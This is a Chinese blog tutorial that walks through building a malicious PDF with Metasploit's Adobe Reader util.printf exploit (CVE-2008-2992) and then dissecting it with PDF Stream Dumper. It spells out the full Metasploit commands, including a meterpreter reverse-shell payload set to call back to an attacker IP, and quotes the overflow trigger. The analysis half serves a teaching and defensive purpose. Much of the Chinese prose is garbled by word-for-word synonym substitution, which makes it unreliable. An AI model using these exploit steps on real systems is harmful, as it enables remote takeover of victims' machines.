恶意PDF文档分析以及payload提取方法

打开metasploit console并键入以下敕令:

use exploit/windows/fileformat/adobe_utilprintf

set FILENAME malicious.pdf

set PAYLOAD windows/exec

set CMD calc.exe

show options

exploit

如下所示:

将刚创建的文件(/home/osboxes/.msf4/local/malicious.pdf)复制到共享驱动器上

Acrobat Reader是一个可涉猎、搜索、打印险些任何类型的PDF文件并与之交互的PDF查见地度榜样不夸诞的说,险些每个电脑用户都安装并应用过它因为它的用户范围广泛且安然问题频出,是以它也成为了最轻易被黑客使用的法度榜样之一经由过程度娘搜索“Acrobat Reader破绽”那叫一个壮不雅,动不动便是高危,看得我都手痒痒了~~

在本文中,我将向大年夜家展示创建恶意PDF文档,触发并使用破绽的完备历程此外,我还将带大年夜家深入阐发恶意PDF文档,懂得payload的存储要领以及提取措施

本文仅适用于钻研教导目的!切勿不法破坏!

PDF款式

PDF(便携式文件款式,Portable Document Format)是由Adobe在1993年用于文件互换所成长出的文件款式

PDF主要由三项技巧组成:衍生自PostScript;字型嵌入系统;资料压缩及传输系统它的优点在於跨平台、能保留文件原有款式(Layout)、开放标准,能免版税(Royalty-free)自由开拓PDF相容软体,是一个开放标准以下是一个范例PDF文档的布局图有关更多信息,请参阅Adobe规范

恶意PDF创建

我们将应用metasploit来创建一个恶意捏造的PDF文档,此中将包孕exploit以及我们自定义的payload由于该破绽使用是针对特定版本的,是以我们必要在目标机械高低载安装一个较早版本的Reader

首先,我们来创建PDF该PDF使用成功后会在目标机械上弹出谋略器(calc.exe)

履行受感染PDF

在目标谋略机上,下载并安装易受进击的Adobe Reader版本(metasploit已经奉告我们版本应小于8.1.2)我选择安装的是8.1.1版

安装后,我们履行malicious.pdf文件你应该会看到从Adobe Reader进程天生的谋略器破绽成功被使用

我筹备了另一个恶意PDF,应用了不合的payload,如下:

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.29

set LPORT 4455

结果如下,我们成功在Adobe Reader上建立了一个后门(反向shell)

阐发受感染PDF

现在,让我们来看看恶意PDF中的内容,并考试测验提取此中的payload(我们仍旧以calc.exe PDF为例)

首先,我们必要用到一个名为PDF Stream Dumper的对象,下载并安装它然后应用该对象加载我们的恶意PDF文档(请花些光阴认识该对象的基础应用)

我们先来应用菜单栏中的 “Exploit Scan” 选项来检测是否存在某些可使用破绽:

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 – util.printf – found in stream: 6

实际上,在stream 6中暗藏了一个可使用破绽

然则假如我们从头开始:在PDF中搜索破绽时,我们大年夜多半时刻会碰到由Javascript代码创建的堆喷射( heap spray)该堆喷射用于将payload推送至堆上,一旦破绽被触发就可以履行

假如你打开Stream 1,你可以看到:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

接着,我们打开stream 5:

/Type/Action/S/JavaScript/JS 6 0 R

履行位于stream 6的Javascript该流显示了纯Javascript,现在是时刻打开“Javascript_UI”菜单了可以看到这是一大年夜串十六进制编码的字符,我们将其push到一个变量,以履行heap spray操作以下是我们的payload:

我们选择payload(引号之间的部分),然后打开“Shellcode_analysis”菜单选择“scDbg – LibEmu Emulation”此时,会弹出一个新的窗口并将shellcode解码为字节(你以致可以将其保存到文件中):

LibEmu是一个能够模拟处置惩罚器的库,它会见告你汇编代码的履行信息,单击“Launch”按钮,一看你就明白了:

在这里,我们可以清楚地看到shellcode会打开一个calc.exe窗口并退出让我们别的一个恶意PDF(反向shell)也履行相同的阐发:

可以看到,Shellcode正在加载操作套接字所需的库(ws2_32.dll),并考试测验回连C&C

这里我并没有展开讨论exploit本身,它位于javascript代码的末端它正在使用printf函数上的缓冲区溢出来履行随意率性代码以下是我们的heap-sprayed shellcode:

util.printf(“%45000.45000f”, 0);

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包